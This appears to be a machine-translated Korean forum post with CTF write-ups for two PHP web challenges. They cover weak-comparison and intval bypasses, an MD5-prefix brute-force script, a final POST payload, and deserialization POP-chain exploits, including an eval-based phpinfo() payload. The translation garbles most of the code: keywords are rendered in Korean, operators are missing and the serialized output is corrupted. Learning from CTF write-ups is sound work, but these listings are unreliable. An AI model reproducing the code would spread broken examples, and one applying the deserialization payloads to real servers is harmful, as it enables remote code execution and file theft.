KoreanHackerTeam
Moderator
Web
1.[强网先锋]寻宝
경쟁 문제를 배포하며 액세스 링크는 다음과 같습니다.
이 질문을 사용하려면 정보 1과 정보 2를 통해 두 가지 주요 값을 얻고 Key1 및 Key2를 입력 한 다음 해독해야합니다.
Key1의 코드 감사
"정보 1"을 클릭하고 코드 감사라는 것을 알 수 있습니다.

전체 소스 코드는 다음과 같습니다.
? php
헤더 ( 'content-type:text/html; charset=utf-8');
error_reporting (0);
하이라이트_file (__ file__);
함수 필터 ($ string) {
$ filter_word=array ( 'php', 'flag', 'index', 'key1lhv', 'source', 'key', 'eval', 'echo', '\ $', '\ (', '\.', 'num', 'html', '\/', '\,'\, '\,'\ ','\ ','\ ','\ ','\ ','\ ','\ ',
$ filter_phrase='/'.implode('o' ,$filter_word).'/';
return preg_replace ($ filter_phrase, '', $ string);
}
if ($ ppp) {
UNSET ($ PPP);
}
$ ppp [ 'number1']='1';
$ ppp [ '번호 2']='1';
$ ppp [ 'nunber3']='1';
$ ppp [ 'number4']='1';
$ ppp [ 'number5']='1';
추출물 ($ _ post);
$ num1=필터 ($ ppp [ 'number1']);
$ num2=필터 ($ ppp [ 'number2']);
$ num3=필터 ($ ppp [ 'number3']);
$ num4=필터 ($ ppp [ 'number4']);
$ num5=필터 ($ ppp [ 'number5']);
if (isset ($ num1) is_numeric ($ num1)) {
다이 ( 'Non-Number');
}
또 다른{
if ($ num1 1024) {
에코 '1 층';
if (isset ($ num2) strlen ($ num2)=4 intval ($ num2 + 1) 500000) {
에코 '2 단계';
if (isset ($ num3) '4bf21cd'===substr (md5 ($ num3), 0,7) {
에코 '3 층';
if (! ($ num4 0) ($ num4==0) ($ num4=0) (strlen ($ num4) 6) (strlen ($ num4) 8) isset ($ num4)) {
에코 '4 층';
if (! isset ($ num5) || (strlen ($ num5)==0)) die ( 'no');
$ b=json_decode (@$ num5);
if ($ y=$ b===null) {
if ($ y===true) {
에코 '다섯 번째 층';
'key1lhv.php'포함;
echo $ key1;
}
}또 다른{
다이 ( '아니오');
}
}또 다른{
다이 ( '아니오');
}
}또 다른{
다이 ( '아니오');
}
}또 다른{
다이 ( '아니오');
}
}또 다른{
다이 ( 'no111');
}
}
비 디지털
?
우회가 필요한 핵심 코드는 다음과 같습니다.
첫 번째 층 : 비 푸르 숫자가 필요하며 1024보다 크며 PHP 약한 비교를 사용하여 $ NUM1=11111A를 만듭니다.
두 번째 레이어 : intval 함수 (intval () 함수는 변수의 정수 값을 얻는 데 사용됩니다)을 사용하고 과학적 및 기술 방법을 사용하여 길이의 길이를 5 미만으로 우회하므로 $ num2=9e9를 두십시오.
세 번째 레이어 : Substr (MD5)은 값을 특정 값으로 취하고 MD5 충돌을 수행하기 위해 스크립트를 작성하고 NUM3이 61823470이며 스크립트는 다음과 같습니다.
hashlib을 가져옵니다
def md5_encode (num3) :
return hashlib.md5 (num3.encode ()). hexDigest () [0:7]
I의 경우 범위 (60000000,70000000) :
num3=md5_encode (str (i))
# print (num3)
if num3=='4bf21cd':
인쇄 (i)
부서지다
작업 결과는 다음과 같습니다.

레이어 4 : 과학 표기 우회, 길이는 7 및 0, Num4는 0e00000입니다.

레이어 5 : json_decode () 함수는 JSON에 인코딩 된 문자열을 허용하고 PHP 변수로 변환합니다. JSON이 디코딩 할 수 없으면 (JSON이 아닌 형식으로) NULL을 반환하므로 NUM5는 1A와 같습니다 (모든 문자열은 충분합니다).
따라서 최종 페이로드 :
ppp [number1]=11111appp [number2]=9e9ppp [number3]=61823470ppp [number4]=0e00000ppp [number5]=1a
제출 후 key1 :
key1 {e1e1d3d40573127e9e0480caf1283d6}
Key2의 스크립트 검색
1. 프롬프트 메시지는 다운로드 링크를 제공합니다.

2. 감압 후, 당신은 많은 DOCX 파일을 얻습니다.

3. 당신이 하나를 열면, 당신은 그것이 많은 캐릭터라는 것을 알게 될 것입니다.

4. KEY2가 파일 중 하나에 있다고 생각하고 실행할 스크립트를 작성하십시오.
OS 가져 오기
DOCX 가져 오기
I의 경우 범위 (1,20) :
범위 (1,20) :의 J의 경우
path='./5. {0 }/vr_ {1} '.format(i,j)
files=os.listdir (경로)
# print (FilePath)
파일의 경우 3:
try:
filename=path+'/'+파일
# 인쇄 (파일 이름)
file=docx.document (filename)
file.paragraphs:의 내용
# print (content.text)
if 'key2 {'in content.text:
print (content.text)
인쇄 (파일 이름)
부서지다
:을 제외하고
통과하다
작업 결과는 다음과 같습니다.

key2 :
key2 {t5fo0od618l91slg6l1l42l3a3ao1nblfss}
원래 페이지에서 플래그를 얻기 위해 제출하십시오.

2.[强网先锋]赌徒
경쟁 문제, 액세스 주소는 다음과 같습니다.
이 질문의 소스 코드 알림과 결합하여 Dirsearch를 사용하여 디렉토리를 스캔 한 다음 www.zip

클래스 시작 {public $ name='Guest'; public $ flag='syst3m ('cat 127.0.0.1/etc/hint ');'; 공개 함수 __construct () {echo '나는 당신이 /etc /hint가 필요하다고 생각합니다. 이 전에 소스 코드를 볼 필요가 있습니다. '; }
public function _sayhello () {echo $ this-name; 'OK'를 반환합니다. }
공개 기능 __wakeup () {echo 'hi'; $ this-_sayHello (); } public function __get ($ cc) {echo 'flag :'. $ this-flag; 반품 ; }}
클래스 정보 {private $ phoneNumber=123123; public $ promise='I do'; public function __construct () {$ this-promise='나는하지 않을 것입니다 !'; 이 전문가를 반환합니다. }
공개 함수 __toString () {return $ this-file [ 'filename']-ffiillee [ 'ffiilleennaammee']; }}
클래스 룸 {public $ filename='/flag'; 공개 $ sth_to_set; 공개 $ a=''; public function __get ($ name) {$ function=$ this-A; return $ function (); } public function get_hint ($ file) {$ hint=base64_encode (file_get_contents ($ file)); echo $ 힌트; 반품 ; }
공개 함수 __invoke () {$ content=$ this-get_hint ($ this-filename); echo $ 컨텐츠; }}
if (isset ($ _ get [ 'hello'])) {unserialize ($ _ get [ 'hello']);} else {$ hi=new start ();}? 이것을 보면, 그것은 PHP 사막화에 대한 의문이라고 생각하지만, 이전에 배운 관련 질문은 소멸자의 활용 지점에만 관여합니다. 이 질문은 혼란 스러웠으므로 즉시 CTF에서 PHP 사막화의 일상을 보충했습니다. PHP Magic Method PHP에서 마술 방법의 정의는 두 가지 밑줄로 시작하는 메소드를 호출하는 것입니다. 공통점은 다음과 같습니다. __construct: 객체를 생성 할 때 객체를 초기화하는데, 이는 일반적으로 초기 값을 변수에 할당하는 데 사용됩니다. __DESTRUCT:은 생성자와 반대이며 객체가 위치한 기능 후에 실행됩니다. __toString: 객체가 문자열로 사용될 때 호출됩니다. __sleep: 객체를 직렬화하기 전에이 메소드를 호출하십시오 (필요한 배열을 반환합니다) __ wakeup: 복구 대상을 버리기 전에이 메소드를 호출하십시오. __get: 접근 불가능한 속성에서 데이터를 읽는다 __isset () : 접근 할 수없는 속성에서 isset () 또는 empty () 호출 __unset () :에 액세스 할 수없는 특성에 대해 Unset ()를 사용할 때 unset ()를 사용할 때 트리거 트리거 (__invoke) : 추가 정보를 호출 할 때 제발 트리거를 호출 할 때 트리거링을 트리거합니다. 매뉴얼 : https://www.php.net/manual/zh/language.oop5.magic.php 간단한 예? phpclass a {var $ test='demo'; 함수 __wakeup () {eval ($ this-test); }} $ a=$ _get [ 'test']; $ a_unser=unserialize ($ a); 그런 다음 phpinfo () 함수를 실행하기 위해 다음 exp를 구성합니다. phpclass a {var $ test='demo'; 함수 __wakeup () {echo $ this-test; }} $ a=$ _get [ 'test']; $ a_unser=unsserialize ($ a);
$ b=new a (); $ b-test='phpinfo ();'; $ c=Serialize ($ b); echo $ c; 출력 : O:1:'A'333:00'test '; s3333333333:'phpinfo (s3:10101010133:'phpinfo); 페이로드, 실행 효과는 다음과 같습니다.

팝 체인의 고급 질문에 대한 자세한 내용 : php //플래그는 flag.phperror_reporting (1); 클래스 읽기 {public $ var; public function file_get ($ value) {$ text=base64_encode (file_get_contents ($ value)); $ 텍스트를 반환합니다. } public function __invoke () {$ content=$ this-file_get ($ this-var); echo $ 컨텐츠; }}
클래스 쇼 {public $ source; 공개 $ str; public function __construct ($ file='index.php') {$ this-source=$ 파일; echo $ this-source.'Welcome '.'br '; } public function __toString () {return $ this-str [ 'str']-소스; }
public function _show () {if (preg_match ( '/gopher | http | ftp | https | dict | \. \. | flag | file/i', $ this-source) {die ( 'hacker'); } else {height_file ($ this-source); }}
public function __wakeup () {if (preg_match ( '/gopher | http | file | ftp | https | dict | \ ./i', $ this-source)) {echo 'hacker'; $ this-source='index.php'; }}}
클래스 테스트 {public $ p; public function __construct () {$ this-p=array (); }
공개 함수 __get ($ key) {$ function=$ this-p; return $ function (); }}
if (isset ($ _ get [ 'hello'])) {unsserialize ($ _ get [ 'hello']);} else {$ show=new show ( 'pop3.php'); $ show-_show ();} [Title Analysis]이 질문에 대해서는 사막화를 구성하여 Flag.php 파일을 읽는 것이 목적을 알 수 있습니다. 읽기 클래스에는 file_get_contents () 함수가 있으며, show 클래스에는 heigrning_file () 함수가있어 파일을 읽습니다. 다음으로, 대상 지점을 찾을 때, 비 제외 기능이 마지막 몇 줄에 존재한다는 것을 알 수 있습니다. 이 함수의 실행은 __wakeup magic 방법을 트리거 할 것이며, __wakeup magic 방법은 쇼 클래스에서 볼 수 있습니다. 1. __wakeup 방법 : 공개 함수 __wakeup () {if (preg_match ( '/gopher | http | file | ftp | ftp | https | https | dict | \. \ ./i', $ this-source))) {echo '해커'; $ this-source='index.php'; }} 정기적 인 일치 함수 preg_match ()가 있습니다. 함수의 두 번째 매개 변수는 문자열이어야합니다. 여기서 소스는 일치하는 문자열로 사용됩니다. 이 시점 에서이 소스가 특정 클래스의 객체 인 경우이 클래스의 __toString 방법이 트리거됩니다. 전체적으로 코드를 읽은 후 __toString 마술 방법이 쇼 클래스에도 있음을 알 수 있습니다. 그 다음에